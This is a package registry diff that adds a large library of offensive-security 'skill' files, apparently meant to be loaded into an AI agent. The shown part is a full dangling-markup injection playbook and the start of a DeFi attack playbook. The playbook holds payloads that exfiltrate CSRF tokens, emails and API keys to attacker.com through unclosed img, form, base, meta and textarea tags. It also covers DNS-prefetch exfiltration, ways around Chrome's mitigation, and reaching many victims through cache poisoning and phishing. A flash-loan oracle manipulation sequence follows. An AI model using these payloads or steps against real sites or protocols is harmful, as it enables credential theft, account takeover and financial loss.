ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,321 @@
1
+ ---
2
+ name: dangling-markup-injection
3
+ description: >-
4
+ Dangling markup injection playbook. Use when HTML injection is possible but
5
+ JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF
6
+ blocks script tags) — exfiltrate CSRF tokens, session data, and page content
7
+ by injecting unclosed HTML tags that capture subsequent page content.gated: true
8
+ ---
9
+
10
+ # SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
11
+
12
+ > **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
13
+
14
+ ## 0. RELATED ROUTING
15
+
16
+ - [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
17
+ - [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
18
+ - [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
19
+ - [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
20
+ - [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack
21
+
22
+ ---
23
+
24
+ ## 1. WHEN TO USE DANGLING MARKUP
25
+
26
+ You need dangling markup when ALL of these are true:
27
+
28
+ 1. You have an HTML injection point (reflected or stored)
29
+ 2. JavaScript execution is blocked:
30
+ - CSP blocks inline scripts and event handlers
31
+ - Sanitizer strips `<script>`, `onerror`, `onload`, etc.
32
+ - WAF blocks known XSS patterns
33
+ 3. The page contains sensitive data AFTER your injection point:
34
+ - CSRF tokens
35
+ - Pre-filled form values (email, username, API keys)
36
+ - Session identifiers in hidden fields
37
+ - Sensitive user content
38
+
39
+ **Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
40
+
41
+ ---
42
+
43
+ ## 2. CORE TECHNIQUE
44
+
45
+ Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
46
+
47
+ ```html
48
+ Page before injection:
49
+ <div>Hello USER_INPUT</div>
50
+ <form>
51
+ <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
52
+ <input type="text" name="email" value="user@target.com">
53
+ </form>
54
+
55
+ Injected payload:
56
+ <img src="https://attacker.com/collect?
57
+
58
+ Resulting HTML:
59
+ <div>Hello <img src="https://attacker.com/collect?</div>
60
+ <form>
61
+ <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
62
+ <input type="text" name="email" value="user@target.com">
63
+ </form>
64
+ ...rest of page until next matching quote (")...
65
+ ```
66
+
67
+ The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.
68
+
69
+ ---
70
+
71
+ ## 3. EXFILTRATION VECTORS
72
+
73
+ ### 3.1 Image Tag (Most Common)
74
+
75
+ ```html
76
+ <!-- Double-quote context -->
77
+ <img src="https://attacker.com/collect?
78
+
79
+ <!-- Single-quote context -->
80
+ <img src='https://attacker.com/collect?
81
+
82
+ <!-- Backtick context (IE only, legacy) -->
83
+ <img src=`https://attacker.com/collect?
84
+ ```
85
+
86
+ The browser sends a GET request to `attacker.com` with all consumed content as query parameters.
87
+
88
+ **Blocked by**: `img-src` CSP directive
89
+
90
+ ### 3.2 Form Action Hijack
91
+
92
+ ```html
93
+ <form action="https://attacker.com/collect">
94
+ <button>Click to continue</button>
95
+ <!--
96
+ ```
97
+
98
+ If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
99
+
100
+ **Blocked by**: `form-action` CSP directive
101
+
102
+ **Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
103
+
104
+ ### 3.3 Base Tag Hijack
105
+
106
+ ```html
107
+ <base href="https://attacker.com/">
108
+ ```
109
+
110
+ All subsequent relative URLs on the page resolve to attacker's server:
111
+ - `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js`
112
+ - `<a href="/profile">` → links to `https://attacker.com/profile`
113
+ - `<form action="/submit">` → submits to `https://attacker.com/submit`
114
+
115
+ **Blocked by**: `base-uri` CSP directive
116
+
117
+ ### 3.4 Meta Refresh Redirect
118
+
119
+ ```html
120
+ <meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
121
+ ```
122
+
123
+ Redirects the entire page to attacker's server with consumed page content in the URL.
124
+
125
+ **Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
126
+
127
+ ### 3.5 Link/Stylesheet Exfiltration
128
+
129
+ ```html
130
+ <link rel="stylesheet" href="https://attacker.com/collect?
131
+ ```
132
+
133
+ Browser requests the URL as a CSS resource, leaking consumed content.
134
+
135
+ **Blocked by**: `style-src` CSP directive
136
+
137
+ ### 3.6 Table Background (Legacy)
138
+
139
+ ```html
140
+ <table background="https://attacker.com/collect?
141
+ ```
142
+
143
+ Works in older browsers that support the `background` attribute on table elements.
144
+
145
+ **Blocked by**: `img-src` CSP directive
146
+
147
+ ### 3.7 Video/Audio Poster
148
+
149
+ ```html
150
+ <video poster="https://attacker.com/collect?
151
+ <audio src="https://attacker.com/collect?
152
+ ```
153
+
154
+ **Blocked by**: `media-src` / `img-src` CSP directives
155
+
156
+ ---
157
+
158
+ ## 4. WHAT CAN BE STOLEN
159
+
160
+ | Target Data | How It Appears in Page | Steal Technique |
161
+ |---|---|---|
162
+ | CSRF token | `<input type="hidden" name="csrf" value="...">` | Dangling `<img src=` before the form |
163
+ | Pre-filled email | `<input value="user@example.com">` | Dangling tag before the input |
164
+ | API keys in page | `var apiKey = "sk-..."` in inline script | Dangling tag before the script block |
165
+ | Session ID in hidden field | `<input name="session" value="...">` | Dangling tag before the form |
166
+ | Auto-filled passwords | Browser auto-fills password field | `<form action=attacker>` with matching input names |
167
+ | OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page |
168
+ | Internal URLs/paths | Links, script sources, API endpoints | `<base>` tag hijack captures all relative URLs |
169
+
170
+ ---
171
+
172
+ ## 5. BROWSER-SPECIFIC BEHAVIOR
173
+
174
+ | Browser | Behavior |
175
+ |---|---|
176
+ | **Chrome/Chromium** | Blocks dangling markup in `<img>` `src` containing `<` or newlines (since Chrome 60). Still allows `<form action>`, `<base>`, `<link>`. |
177
+ | **Firefox** | More permissive with dangling markup in image sources. Allows newlines in attribute values. |
178
+ | **Safari** | Similar to Chrome's restrictions. May handle some edge cases differently. |
179
+ | **Edge (Chromium)** | Same as Chrome behavior. |
180
+
181
+ ### Chrome Mitigation Detail
182
+
183
+ Chrome blocks navigation/resource load when the URL attribute value contains:
184
+ - `<` character (indicates HTML tag consumption)
185
+ - Newline characters (`\n`, `\r`)
186
+
187
+ **Bypass**: Use `<form action>` instead of `<img src>` — Chrome's block only targets specific tags.
188
+
189
+ ---
190
+
191
+ ## 6. ADVANCED TECHNIQUES
192
+
193
+ ### 6.1 Selective Consumption
194
+
195
+ Choose quote type strategically: if page uses `"` for attributes, inject with `'` (and vice versa) to precisely control where consumption stops.
196
+
197
+ ### 6.2 Textarea + Form Combo
198
+
199
+ `<form action="https://attacker.com/collect"><textarea name="data">` — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.
200
+
201
+ ### 6.3 Comment / Style Dangling
202
+
203
+ - `<!-- ` without closing `-->` consumes all content (no exfil, but hides page content)
204
+ - `<style>` unclosed treats page as CSS; combine with `@import url("https://attacker.com/?` for exfil
205
+
206
+ ### 6.4 Window.name via iframe
207
+
208
+ `<iframe src="https://target.com/page" name="` — name attribute consumes content, and `window.name` persists across origins after navigation.
209
+
210
+ ---
211
+
212
+ ## 7. LIMITATIONS
213
+
214
+ | Limitation | Detail |
215
+ |---|---|
216
+ | Same-origin content only | Dangling markup only captures content from the same HTTP response |
217
+ | Quote matching | Consumption stops at the next matching quote character — may not reach target data |
218
+ | CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
219
+ | Chrome's dangling markup mitigation | Blocks `<img src=` with `<` or newlines in URL |
220
+ | Injection point must be before target data | Can only capture content that appears after the injection in HTML source order |
221
+ | Content encoding | URL-unsafe characters in captured content may be mangled |
222
+
223
+ ---
224
+
225
+ ## 8. COMBINATION ATTACKS
226
+
227
+ ### 8.1 Dangling Markup + Open Redirect
228
+
229
+ ```
230
+ 1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
231
+ 2. Open redirect on target.com makes the request "same-origin" for some CSP checks
232
+ 3. Redirect sends captured data to attacker
233
+ ```
234
+
235
+ ### 8.2 Dangling Markup + Cache Poisoning
236
+
237
+ ```
238
+ 1. Find reflected HTML injection point
239
+ 2. Inject dangling markup payload
240
+ 3. If response is cached, ALL users see the dangling markup
241
+ 4. Tokens/data from all victims exfiltrated
242
+ ```
243
+
244
+ This turns a reflected injection into a stored/persistent attack.
245
+
246
+ ### 8.3 Dangling Markup + CSRF
247
+
248
+ ```
249
+ 1. Use dangling markup to steal CSRF token from page
250
+ 2. Use stolen token to perform CSRF attack
251
+ 3. Allows CSRF even when tokens are properly implemented
252
+ ```
253
+
254
+ ### 8.4 Dangling Markup + Clickjacking
255
+
256
+ ```
257
+ 1. Inject <form action="https://attacker.com/collect"><textarea name="data">
258
+ 2. Frame the page (if frame-ancestors allows)
259
+ 3. Trick user into clicking "Submit" via clickjacking overlay
260
+ 4. Form submits all captured page content to attacker
261
+ ```
262
+
263
+ ---
264
+
265
+ ## 9. DANGLING MARKUP DECISION TREE
266
+
267
+ ```
268
+ HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
269
+
270
+ ├── Identify injection context
271
+ │ ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
272
+ │ ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
273
+ │ └── Inside script block? → Close script first: </script><img src="...
274
+
275
+ ├── What sensitive data exists AFTER injection point?
276
+ │ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
277
+ │ ├── User PII (email, name) → data theft
278
+ │ ├── API keys / secrets → account compromise
279
+ │ ├── No sensitive data after injection → dangling markup not useful here
280
+ │ └── Check different pages — injection may be on a page with sensitive data
281
+
282
+ ├── Choose exfiltration vector based on CSP
283
+ │ ├── No CSP / lax CSP → <img src="... (simplest)
284
+ │ ├── img-src restricted?
285
+ │ │ ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
286
+ │ │ ├── base-uri unrestricted? → <base href="attacker">
287
+ │ │ └── style-src unrestricted? → <link rel=stylesheet href="...
288
+ │ ├── Strict CSP on all directives?
289
+ │ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
290
+ │ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
291
+ │ │ └── Window.name via iframe? → <iframe name="...
292
+ │ └── Nothing works? → dangling markup blocked, try other approaches
293
+
294
+ ├── Handle Chrome's dangling markup mitigation
295
+ │ ├── Target uses Chrome? → Avoid <img src= with < or newlines
296
+ │ ├── Use <form action=> instead (not blocked)
297
+ │ ├── Use <base href=> (not blocked)
298
+ │ └── Test in Firefox as fallback (more permissive)
299
+
300
+ ├── Choose quote type for maximum capture
301
+ │ ├── Target data uses double quotes? → Inject with single quote: <img src='...
302
+ │ ├── Target data uses single quotes? → Inject with double quote: <img src="...
303
+ │ └── Mixed quotes? → Test both, see which captures more useful data
304
+
305
+ └── Amplification
306
+ ├── Response cached? → Poison cache → steal from multiple victims
307
+ ├── Stored injection? → Every page view exfiltrates
308
+ └── Reflected only? → Deliver via phishing link
309
+ ```
310
+
311
+ ---
312
+
313
+ ## 10. TRICK NOTES — WHAT AI MODELS MISS
314
+
315
+ 1. **Dangling markup is THE answer when CSP blocks scripts but HTML injection exists.** Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
316
+ 2. **Chrome's mitigation is tag-specific, not universal**: `<img src=` is mitigated, but `<form action=`, `<base href=`, `<meta http-equiv=refresh>` are NOT. Always try alternative vectors.
317
+ 3. **Quote type selection is critical**: If the page uses `"` for attributes, inject with `'` (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
318
+ 4. **Injection point placement matters enormously**: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
319
+ 5. **`<textarea>` is the most underrated vector**: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
320
+ 6. **Window.name persists across origins**: If you can inject an iframe, the `name` attribute technique is powerful because `window.name` survives cross-origin navigation — a rare cross-origin data channel.
321
+ 7. **DNS prefetch exfiltration works even under strict CSP**: `<link rel=dns-prefetch href="//stolen-data.attacker.com">` triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.
@@ -0,0 +1,355 @@
1
+ ---
2
+ name: defi-attack-patterns
3
+ description: >-
4
+ DeFi attack pattern playbook. Use when analyzing flash loan attacks, price oracle manipulation, MEV sandwich attacks, governance exploits, bridge vulnerabilities, and token standard edge cases in decentralized finance protocols.gated: true
5
+ ---
6
+
7
+ # SKILL: DeFi Attack Patterns — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert DeFi exploitation techniques. Covers flash loan mechanics, oracle manipulation (spot vs TWAP), MEV extraction (sandwich, JIT, liquidation), precision loss attacks, governance exploits, bridge vulnerabilities, and token standard pitfalls. Base models often miss the single-transaction atomicity constraint of flash loans and the distinction between spot price and TWAP manipulation.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [smart-contract-vulnerabilities](../smart-contract-vulnerabilities/SKILL.md) for underlying Solidity vulnerability patterns (reentrancy, integer overflow, delegatecall)
14
+ - [deserialization-insecure](../deserialization-insecure/SKILL.md) when targeting off-chain bridge relayer or indexer infrastructure
15
+
16
+ ---
17
+
18
+ ## 1. FLASH LOAN ATTACKS
19
+
20
+ ### 1.1 Mechanism
21
+
22
+ Flash loans provide uncollateralized borrowing within a single transaction. The entire borrow → use → repay cycle must complete atomically; if repayment fails, the transaction reverts as if nothing happened.
23
+
24
+ | Provider | Max Amount | Fee |
25
+ |---|---|---|
26
+ | Aave V3 | Pool liquidity per asset | 0.05% (can be 0 for approved borrowers) |
27
+ | dYdX | Pool liquidity | 0 (uses internal balance manipulation) |
28
+ | Uniswap V3 | Pool liquidity per pair | 0.3% (swap fee tier) |
29
+ | Balancer | Pool liquidity | Protocol-configurable |
30
+
31
+ ### 1.2 Price Oracle Manipulation
32
+
33
+ ```
34
+ 1. Flash borrow 100,000 WETH
35
+ 2. Swap 100,000 WETH → TOKEN on AMM_A
36
+ → TOKEN spot price on AMM_A skyrockets
37
+ 3. On Lending_Protocol (reads AMM_A spot price as oracle):
38
+ → Deposit small TOKEN collateral (valued at inflated price)
39
+ → Borrow large amount of WETH against it
40
+ 4. Swap TOKEN back → WETH on AMM_A (restore price)
41
+ 5. Repay flash loan (100,000 WETH + fee)
42
